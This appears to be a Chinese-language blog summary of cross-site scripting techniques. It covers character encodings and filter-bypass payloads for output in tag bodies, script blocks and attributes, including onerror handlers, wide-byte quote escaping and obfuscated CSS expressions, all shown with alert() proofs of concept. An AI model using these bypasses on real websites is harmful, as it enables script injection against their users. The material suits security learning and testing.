xss小结

0x00、常见编码  

//浏览器是不会在html 标签里(注意 是标签里面) 解析js中的那些编码(js8和16,jsunicode)
html实体编码(10进制与16进制):
如把尖括号编码[ < ] —–> html十进制: &#60; html十六进制:&#x3c;
javascript的八进制跟十六进制:
如把尖括号编码[ < ] —–> js八进制:\74 js十六进制:\x3c
jsunicode编码:
如把尖括号编码[ < ] —–>jsunicode:\u003c
url编码 base64编码:
如把尖括号编码[ < ] —–> url: %3C base64: PA==

HTML5 新增的实体命名编码: //这个比较66666
&colon; => [冒号]
&NewLine; => [换行]
ex: <a href=”javasc&NewLine;ript&colon;alert(1)”>click</a>


 

1×00、绕过总结
我首先会看看输出位置。
x01、<HTML标签></HTML标签>之间
1、<script src=””></script>
2、<img src=aa onerror=“alert(/xss/)” />

x02、<script>[输出]</script>之间
1、如果没有过滤了 <, > 使用</script>闭合,然后直接插入自己的代码
2、如果过滤了 <, >
使用eval() 函数 //eval() 函数可计算某个字符串,并执行其中的的 JavaScript 代码。
ex: eval(‘alert(/xss/)’);
3、(过滤双引号时候)宽字节注入(gbxxxx系列的编码,如:gb18030)
%c0%22;alert(1);//aaaaaa
其中 %c0吃掉了后面的%5c (/)
4、反斜线 \ (杀掉后面的双引号)
“&ss=aaaa\”+”&from=1//”+”&param=”; // 用// 注释
“&ss=aaaa\”+”&from==1//”+”&param=”; // ==的优先级比 & 高
如果爆出from”未定义,javascript中function xxx(){} 形式定义的函数,都会被最优先解析
空格被转义为了 &nbsp; 用 /**/ 替换空格
5、回车符号 %0a %0d%0a
可以在注释中控制语句
EX:/我是注释,我爱洗澡,哦~哦~哦~ [我是输出 换行符
alert(1);//我是输出]
javascript字符串多行写法:
var a=”我是一个字符串\
我还是一个字符串”;

x03、输出出现在HTML标签的属性之中
ex:<input value”>=”输出 <img onload=”…[输出]…”> 1、http://xxxx.com/search.php?word=乌云欢迎您” onclick=”alert(1)
代码区域:<input type=”text” value=”乌云欢迎您” onclick=”alert(1)” />
2、过滤了 ” 的时候(没有过滤\) 利用css expression (只支持IE5,6,7。8已经取消)
css里,允许使用转义字符, \ + ascii16进制形式
过滤了expression, 我们也可以轻松的用expr\65ssion绕过。
<HTML标签 onXXXX=”…[输出在这里]..”> xxxx :?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: